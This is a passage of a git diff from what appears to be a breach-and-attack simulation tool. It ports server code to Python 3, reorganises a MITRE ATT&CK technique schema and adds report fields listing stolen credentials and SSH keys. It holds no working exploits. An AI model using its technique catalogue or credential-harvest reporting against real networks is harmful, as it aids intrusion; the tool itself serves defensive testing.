monkey_island.cc.services.remote_run_aws import RemoteRunAwsService -from common.cloud.aws_service import AwsService +from common.cloud.aws.aws_service import AwsService CLIENT_ERROR_FORMAT = "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " \ "instance doesn't permit SSM calls. " @@ -34,10 +34,10 @@ class RemoteRun(flask_restful.Resource): try: resp['instances'] = AwsService.get_instances() except NoCredentialsError as e: - resp['error'] = NO_CREDS_ERROR_FORMAT.format(e.message) + resp['error'] = NO_CREDS_ERROR_FORMAT.format(e) return jsonify(resp) except ClientError as e: - resp['error'] = CLIENT_ERROR_FORMAT.format(e.message) + resp['error'] = CLIENT_ERROR_FORMAT.format(e) return jsonify(resp) return jsonify(resp) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 8c5286fee..961e745a8 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -1,5 +1,4 @@ -import httplib - +import http.client import flask_restful from flask import jsonify @@ -28,14 +27,14 @@ class Report(flask_restful.Resource): elif report_type == ZERO_TRUST_REPORT_TYPE: if report_data == REPORT_DATA_PILLARS: return jsonify({ - "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), - "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), - "grades": ZeroTrustService.get_pillars_grades() - } + "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), + "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), + "grades": ZeroTrustService.get_pillars_grades() + } ) elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(ZeroTrustService.get_all_findings()) - flask_restful.abort(httplib.NOT_FOUND) + flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index d7cae8bd7..59a8fbe7c 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -1,18 +1,18 @@ -from datetime import datetime import logging import threading +from datetime import datetime import flask_restful from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo +from monkey_island.cc.services.database import Database from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.attack.attack_report import AttackReportService -from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports +from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \ + safe_generate_reports from monkey_island.cc.utils import local_ip_addresses -from monkey_island.cc.services.database import Database __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 5194361af..6333f2feb 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -22,18 +22,18 @@ class TelemetryFeed(flask_restful.Resource): if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code... telemetries = mongo.db.telemetry.find({}) else: - telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\ - - telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) + telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) + telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) try: return \ { - 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries if TelemetryFeed], + 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries + if TelemetryFeed.should_show_brief(telem)], 'timestamp': datetime.now().isoformat() } except KeyError as err: - logger.error("Failed parsing telemetries. Error: {0}.".format(err.message)) + logger.error("Failed parsing telemetries. Error: {0}.".format(err)) return {'telemetries': [], 'timestamp': datetime.now().isoformat()} @staticmethod diff --git a/monkey/monkey_island/cc/resources/test/__init__.py b/monkey/monkey_island/cc/resources/test/__init__.py index 28550f830..aa3c993b0 100644 --- a/monkey/monkey_island/cc/resources/test/__init__.py +++ b/monkey/monkey_island/cc/resources/test/__init__.py @@ -1,4 +1,4 @@ """ This package contains resources used by blackbox tests -to analize test results, download logs and so on. +to analyze test results, download logs and so on. """ diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/test/clear_caches.py new file mode 100644 index 000000000..f17193821 --- /dev/null +++ b/monkey/monkey_island/cc/resources/test/clear_caches.py @@ -0,0 +1,35 @@ +import logging + +import flask_restful + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.attack.attack_report import AttackReportService +from monkey_island.cc.services.reporting.report import ReportService + +NOT_ALL_REPORTS_DELETED = "Not all reports have been cleared from the DB!" + +logger = logging.getLogger(__name__) + + +class ClearCaches(flask_restful.Resource): + """ + Used for timing tests - we want to get actual execution time of functions in BlackBox without caching - so we use this + to clear the caches. + :note: DO NOT CALL THIS IN PRODUCTION CODE as this will slow down the user experience. + """ + @jwt_required() + def get(self, **kw): + try: + logger.warning("Trying to clear caches! Make sure this is not production") + ReportService.delete_saved_report_if_exists() + AttackReportService.delete_saved_report_if_exists() + # TODO: Monkey.clear_caches(), clear LRU caches of function in the Monkey object + except RuntimeError as e: + logger.exception(e) + flask_restful.abort(500, error_info=str(e)) + + if ReportService.is_report_generated() or AttackReportService.is_report_generated(): + logger.error(NOT_ALL_REPORTS_DELETED) + flask_restful.abort(500, error_info=NOT_ALL_REPORTS_DELETED) + + return {"success": "true"} diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py index e592e7214..f0f9af936 100644 --- a/monkey/monkey_island/cc/resources/test/log_test.py +++ b/monkey/monkey_island/cc/resources/test/log_test.py @@ -2,7 +2,6 @@ from bson import json_util import flask_restful from flask import request - from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo, database @@ -15,4 +14,4 @@ class LogTest(flask_restful.Resource): if not log: return {'results': None} log_file = database.gridfs.get(log['file_id']) - return {'results': log_file.read()} + return {'results': log_file.read().decode()} diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py index 5b34f4206..a88f8830c 100644 --- a/monkey/monkey_island/cc/resources/version_update.py +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -1,8 +1,7 @@ import flask_restful import logging -from monkey_island.cc.environment.environment import env -from monkey_island.cc.auth import jwt_required +from common.version import get_version from monkey_island.cc.services.version_update import VersionUpdateService __author__ = 'itay.mizeretz' @@ -18,7 +17,7 @@ class VersionUpdate(flask_restful.Resource): # even when not authenticated def get(self): return { - 'current_version': env.get_version(), + 'current_version': get_version(), 'newer_version': VersionUpdateService.get_newer_version(), 'download_link': VersionUpdateService.get_download_link() } diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 142e51368..ee5b79ad0 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' \ No newline at end of file +__author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 60df09d88..2830a2dc9 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -15,7 +15,7 @@ class AttackConfig(object): @staticmethod def get_config(): - config = mongo.db.attack.find_one({'name': 'newconfig'}) + config = mongo.db.attack.find_one({'name': 'newconfig'})['properties'] return config @staticmethod @@ -26,9 +26,9 @@ class AttackConfig(object): :return: Technique object or None if technique is not found """ attack_config = AttackConfig.get_config() - for key, attack_type in attack_config['properties'].items(): - for key, technique in attack_type['properties'].items(): - if key == technique_id: + for config_key, attack_type in list(attack_config.items()): + for type_key, technique in list(attack_type['properties'].items()): + if type_key == technique_id: return technique return None @@ -66,7 +66,7 @@ class AttackConfig(object): :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for key, definition in monkey_schema['definitions'].items(): + for key, definition in list(monkey_schema['definitions'].items()): for array_field in definition['anyOf']: # Check if current array field has attack_techniques assigned to it if 'attack_techniques' in array_field and array_field['attack_techniques']: @@ -83,7 +83,7 @@ class AttackConfig(object): :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for key, value in monkey_schema['properties'].items(): + for key, value in list(monkey_schema['properties'].items()): AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config) @staticmethod @@ -110,7 +110,7 @@ class AttackConfig(object): dictionary = value['properties'] else: dictionary = value - for key, item in dictionary.items(): + for key, item in list(dictionary.items()): path.append(key) AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config) # Method enumerated everything in current path, goes back a level. @@ -158,7 +158,7 @@ class AttackConfig(object): elif not remove and field not in config_value[array_name]: config_value[array_name].append(field) else: - for prop in config_value.items(): + for prop in list(config_value.items()): AttackConfig.r_alter_array(prop[1], array_name, field, remove) @staticmethod @@ -169,7 +169,19 @@ class AttackConfig(object): """ attack_config = AttackConfig.get_config() techniques = {} - for type_name, attack_type in attack_config['properties'].items(): - for key, technique in attack_type['properties'].items(): + for type_name, attack_type in list(attack_config.items()): + for key, technique in list(attack_type['properties'].items()): techniques[key] = technique['value'] return techniques + + @staticmethod + def get_techniques_for_report(): + """ + :return: Format: {"T1110": {"selected": True, "type": "Credential Access", "T1075": ...} + """ + attack_config = AttackConfig.get_config() + techniques = {} + for type_name, attack_type in list(attack_config.items()): + for key, technique in list(attack_type['properties'].items()): + techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']} + return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_data b/monkey/monkey_island/cc/services/attack/attack_data new file mode 160000 index 000000000..fb8942b1a --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_data @@ -0,0 +1 @@ +Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index c7457c2f6..db80c76c6 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor __author__ = "VakarisZ" - LOG = logging.getLogger(__name__) TECHNIQUES = {'T1210': T1210.T1210, @@ -52,20 +51,20 @@ class AttackReportService: Generates new report based on telemetries, replaces old report in db with new one. :return: Report object """ - report =\ + report = \ { 'techniques': {}, 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, 'name': REPORT_NAME } - - for tech_id, value in AttackConfig.get_technique_values().items(): - if value: - try: - report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()}) - except KeyError as e: - LOG.error("Attack technique does not have it's report component added " - "to attack report service. %s" % e) + for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()): + try: + technique_report_data = TECHNIQUES[tech_id].get_report_data() + technique_report_data.update(tech_info) + report['techniques'].update({tech_id: technique_report_data}) + except KeyError as e: + LOG.error("Attack technique does not have it's report component added " + "to attack report service. %s" % e) mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) return report @@ -75,7 +74,10 @@ class AttackReportService: Gets timestamp of latest attack telem :return: timestamp of latest attack telem """ - return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0] + return [ + x['timestamp'] for x in + mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1) + ][0] @staticmethod def get_latest_report(): @@ -100,3 +102,9 @@ class AttackReportService: """ generated_report = mongo.db.attack_report.find_one({}) return generated_report is not None + + @staticmethod + def delete_saved_report_if_exists(): + delete_result = mongo.db.attack_report.delete_many({}) + if mongo.db.attack_report.count_documents({}) != 0: + raise RuntimeError("Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index c107de7c5..704ae5994 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -2,64 +2,125 @@ SCHEMA = { "title": "ATT&CK configuration", "type": "object", "properties": { - "lateral_movement": { - "title": "Lateral movement", + "execution": { + "title": "Execution", "type": "object", + "link": "https://attack.mitre.org/tactics/TA0002/", "properties": { - "T1210": { - "title": "T1210 Exploitation of Remote services", - "type": "bool", - "value": True, - "necessary": False, - "description": "Exploitation of a software vulnerability occurs when an adversary " - "takes advantage of a programming error in a program, service, or within the " - "operating system software or kernel itself to execute adversary-controlled code." - }, - "T1075": { - "title": "T1075 Pass the hash", - "type": "bool", - "value": True, - "necessary": False, - "description": "Pass the hash (PtH) is a method of authenticating as a user without " - "having access to the user's cleartext password." - }, - "T1105": { - "title": "T1105 Remote file copy", + "T1059": { + "title": "Command line interface", "type": "bool", "value": True, "necessary": True, - "description": "Files may be copied from one system to another to stage " - "adversary tools or other files over the course of an operation." + "link": "https://attack.mitre.org/techniques/T1059", + "description": "Adversaries may use command-line interfaces to interact with systems " + "and execute other software during the course of an operation.", }, - "T1021": { - "title": "T1021 Remote services", + "T1129": { + "title": "Execution through module load", "type": "bool", "value": True, "necessary": False, - "depends_on": ["T1110"], - "description": "An adversary may use Valid Accounts to log into a service" - " specifically designed to accept remote connections." + "link": "https://attack.mitre.org/techniques/T1129", + "description": "The Windows module loader can be instructed to load DLLs from arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) network paths.", + "depends_on": ["T1078", "T1003"] + }, + "T1106": { + "title": "Execution through API", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1106", + "description": "Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"] + }, + "T1086": { + "title": "Powershell", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1086", + "description": "Adversaries can use PowerShell to perform a number of actions," + " including discovery of information and execution of code.", + }, + "T1064": { + "title": "Scripting", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1064", + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", + }, + "T1035": { + "title": "Service execution", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1035", + "description": "Adversaries may execute a binary, command, or script via a method " + "that interacts with Windows services, such as the Service Control Manager.", + "depends_on": ["T1210"] + } + } + }, + "defence_evasion": { + "title": "Defence evasion", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0005/", + "properties": { + "T1197": { + "title": "BITS jobs", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1197", + "description": "Adversaries may abuse BITS to download, execute, " + "and even clean up after running malicious code." + }, + "T1107": { + "title": "File Deletion", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1107", + "description": "Adversaries may remove files over the course of an intrusion " + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process." + }, + "T1222": { + "title": "File permissions modification", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1222", + "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." } } }, "credential_access": { "title": "Credential access", "type": "object", + "link": "https://attack.mitre.org/tactics/TA0006/", "properties": { "T1110": { - "title": "T1110 Brute force", + "title": "Brute force", "type": "bool", "value": True, "necessary": False, + "link": "https://attack.mitre.org/techniques/T1110", "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained.", "depends_on": ["T1210", "T1021"] }, "T1003": { - "title": "T1003 Credential dumping", + "title": "Credential dumping", "type": "bool", "value": True, "necessary": False, + "link": "https://attack.mitre.org/techniques/T1003", "description": "Mapped with T1078 Valid Accounts because both techniques require" " same credential harvesting modules. " "Credential dumping is the process of obtaining account login and password " @@ -68,10 +129,11 @@ SCHEMA = { "depends_on": ["T1078"] }, "T1145": { - "title": "T1145 Private keys", + "title": "Private keys", "type": "bool", "value": True, "necessary": False, + "link": "https://attack.mitre.org/techniques/T1145", "description": "Adversaries may gather private keys from compromised systems for use in " "authenticating to Remote Services like SSH or for use in decrypting " "other collected files such as email.", @@ -79,120 +141,37 @@ SCHEMA = { } } }, - "defence_evasion": { - "title": "Defence evasion", - "type": "object", - "properties": { - "T1197": { - "title": "T1197 BITS jobs", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries may abuse BITS to download, execute, " - "and even clean up after running malicious code." - }, - "T1107": { - "title": "T1107 File Deletion", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries may remove files over the course of an intrusion " - "to keep their footprint low or remove them at the end as part " - "of the post-intrusion cleanup process." - }, - "T1222": { - "title": "T1222 File permissions modification", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." - } - } - }, - "execution": { - "title": "Execution", - "type": "object", - "properties": { - "T1035": { - "title": "T1035 Service execution", - "type": "bool", - "value": True, - "necessary": False, - "description": "Adversaries may execute a binary, command, or script via a method " - "that interacts with Windows services, such as the Service Control Manager.", - "depends_on": ["T1210"] - }, - "T1129": { - "title": "T1129 Execution through module load", - "type": "bool", - "value": True, - "necessary": False, - "description": "The Windows module loader can be instructed to load DLLs from arbitrary " - "local paths and arbitrary Universal Naming Convention (UNC) network paths.", - "depends_on": ["T1078", "T1003"] - }, - "T1106": { - "title": "T1106 Execution through API", - "type": "bool", - "value": True, - "necessary": False, - "description": "Adversary tools may directly use the Windows application " - "programming interface (API) to execute binaries.", - "depends_on": ["T1210"] - }, - "T1059": { - "title": "T1059 Command line interface", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries may use command-line interfaces to interact with systems " - "and execute other software during the course of an operation.", - }, - "T1086": { - "title": "T1086 Powershell", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries can use PowerShell to perform a number of actions," - " including discovery of information and execution of code.", - }, - "T1064": { - "title": "T1064 Scripting", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries may use scripts to aid in operations and " - "perform multiple actions that would otherwise be manual.", - } - } - }, "discovery": { "title": "Discovery", "type": "object", + "link": "https://attack.mitre.org/tactics/TA0007/", "properties": { + "T1018": { + "title": "Remote System Discovery", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1018", + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " + "hostname, or other logical identifier on a network for lateral movement." + }, "T1082": { - "title": "T1082 System information discovery", + "title": "System information discovery", "type": "bool", "value": True, "necessary": False, + "link": "https://attack.mitre.org/techniques/T1082", "depends_on": ["T1016", "T1005"], "description": "An adversary may attempt to get detailed information about the " "operating system and hardware, including version, patches, hotfixes, " "service packs, and architecture." }, - "T1018": { - "title": "T1018 Remote System Discovery", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " - "hostname, or other logical identifier on a network for lateral movement." - }, "T1016": { - "title": "T1016 System network configuration discovery", + "title": "System network configuration discovery", "type": "bool", "value": True, "necessary": False, + "link": "https://attack.mitre.org/techniques/T1016", "depends_on": ["T1005", "T1082"], "description": "Adversaries will likely look for details about the network configuration " "and settings of systems they access or through information discovery" @@ -200,15 +179,62 @@ SCHEMA = { } } }, - "collection": { - "title": "Collection", + "lateral_movement": { + "title": "Lateral movement", "type": "object", + "link": "https://attack.mitre.org/tactics/TA0008/", "properties": { - "T1005": { - "title": "T1005 Data from local system", + "T1210": { + "title": "Exploitation of Remote services", "type": "bool", "value": True, "necessary": False, + "link": "https://attack.mitre.org/techniques/T1210", + "description": "Exploitation of a software vulnerability occurs when an adversary " + "takes advantage of a programming error in a program, service, or within the " + "operating system software or kernel itself to execute adversary-controlled code." + }, + "T1075": { + "title": "Pass the hash", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1075", + "description": "Pass the hash (PtH) is a method of authenticating as a user without " + "having access to the user's cleartext password." + }, + "T1105": { + "title": "Remote file copy", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1105", + "description": "Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation." + }, + "T1021": { + "title": "Remote services", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1021", + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections." + } + } + }, + "collection": { + "title": "Collection", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0009/", + "properties": { + "T1005": { + "title": "Data from local system", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1005", "depends_on": ["T1016", "T1082"], "description": "Sensitive data can be collected from local system sources, such as the file system " "or databases of information residing on the system prior to Exfiltration." @@ -218,28 +244,32 @@ SCHEMA = { "command_and_control": { "title": "Command and Control", "type": "object", + "link": "https://attack.mitre.org/tactics/TA0011/", "properties": { - "T1065": { - "title": "T1065 Uncommonly used port", - "type": "bool", - "value": True, - "necessary": True, - "description": "Adversaries may conduct C2 communications over a non-standard " - "port to bypass proxies and firewalls that have been improperly configured." - }, "T1090": { - "title": "T1090 Connection proxy", + "title": "Connection proxy", "type": "bool", "value": True, "necessary": True, + "link": "https://attack.mitre.org/techniques/T1090", "description": "A connection proxy is used to direct network traffic between systems " "or act as an intermediary for network communications." }, - "T1188": { - "title": "T1188 Multi-hop proxy", + "T1065": { + "title": "Uncommonly used port", "type": "bool", "value": True, "necessary": True, + "link": "https://attack.mitre.org/techniques/T1065", + "description": "Adversaries may conduct C2 communications over a non-standard " + "port to bypass proxies and firewalls that have been improperly configured." + }, + "T1188": { + "title": "Multi-hop proxy", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1188", "description": "To disguise the source of malicious traffic, " "adversaries may chain together multiple proxies." } @@ -248,12 +278,14 @@ SCHEMA = { "exfiltration": { "title": "Exfiltration", "type": "object", + "link": "https://attack.mitre.org/tactics/TA0010/", "properties": { "T1041": { - "title": "T1041 Exfiltration Over Command and Control Channel", + "title": "Exfiltration Over Command and Control Channel", "type": "bool", "value": True, "necessary": True, + "link": "https://attack.mitre.org/techniques/T1041", "description": "Data exfiltration is performed over the Command and Control channel." } } diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py new file mode 100644 index 000000000..6390c600b --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -0,0 +1,46 @@ +from typing import List, Dict + +from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern + + +class MitreApiInterface: + + ATTACK_DATA_PATH = 'monkey_island/cc/services/attack/attack_data/enterprise-attack' + + @staticmethod + def get_all_mitigations() -> Dict[str, CourseOfAction]: + file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) + mitigation_filter = [Filter('type', '=', 'course-of-action')] + all_mitigations = file_system.query(mitigation_filter) + all_mitigations = {mitigation['id']: mitigation for mitigation in all_mitigations} + return all_mitigations + + @staticmethod + def get_all_attack_techniques() -> Dict[str, AttackPattern]: + file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) + technique_filter = [Filter('type', '=', 'attack-pattern')] + all_techniques = file_system.query(technique_filter) + all_techniques = {technique['id']: technique for technique in all_techniques} + return all_techniques + + @staticmethod + def get_technique_and_mitigation_relationships() -> List[CourseOfAction]: + file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) + technique_filter = [Filter('type', '=', 'relationship'), + Filter('relationship_type', '=', 'mitigates')] + all_techniques = file_system.query(technique_filter) + return all_techniques + + @staticmethod + def get_stix2_external_reference_id(stix2_data) -> str: + for reference in stix2_data['external_references']: + if reference['source_name'] == "mitre-attack" and 'external_id' in reference: + return reference['external_id'] + return '' + + @staticmethod + def get_stix2_external_reference_url(stix2_data) -> str: + for reference in stix2_data['external_references']: + if 'url' in reference: + return reference['url'] + return '' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 2b49f264d..cbd3bf8bf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -1,4 +1,5 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.reporting.report import ReportService from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo @@ -6,7 +7,6 @@ __author__ = "VakarisZ" class T1003(AttackTechnique): - tech_id = "T1003" unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." scanned_msg = "" @@ -24,4 +24,7 @@ class T1003(AttackTechnique): else: status = ScanStatus.UNSCANNED.value data.update(T1003.get_message_and_status(status)) + data.update(T1003.get_mitigation_by_status(status)) + data['stolen_creds'] = ReportService.get_stolen_creds() + data['stolen_creds'].extend(ReportService.get_ssh_keys()) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index b84fe4a6f..2a39fad02 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -5,7 +5,6 @@ __author__ = "VakarisZ" class T1005(AttackTechnique): - tech_id = "T1005" unscanned_msg = "Monkey didn't gather any sensitive data from local system." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 43d7c42b0..885b738cb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -6,13 +6,12 @@ __author__ = "VakarisZ" class T1016(AttackTechnique): - tech_id = "T1016" unscanned_msg = "Monkey didn't gather network configurations." scanned_msg = "" used_msg = "Monkey gathered network configurations on systems in the network." - query = [{'$match': {'telem_category': 'system_info'}}, + query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}}, {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, 'networks': '$data.network_info.networks', 'netstat': '$data.network_info.netstat'}}, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index a955f6cc9..3498029c9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1018(AttackTechnique): - tech_id = "T1018" unscanned_msg = "Monkey didn't find any machines on the network." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index d22583359..3fc29259b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds - __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 1342b646e..ae3342355 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1041(AttackTechnique): - tech_id = "T1041" unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index ef15dd9fd..c0e4dc3f6 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1059(AttackTechnique): - tech_id = "T1059" unscanned_msg = "Monkey didn't exploit any machines to run commands at." scanned_msg = "" @@ -31,4 +30,5 @@ class T1059(AttackTechnique): else: status = ScanStatus.UNSCANNED.value data.update(T1059.get_message_and_status(status)) + data.update(T1059.get_mitigation_by_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index 7d8ceb93e..f8eb9aa3e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1065(AttackTechnique): - tech_id = "T1065" unscanned_msg = "" scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 623d157ae..370db3ca2 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1075(AttackTechnique): - tech_id = "T1075" unscanned_msg = "Monkey didn't try to use pass the hash attack." scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." 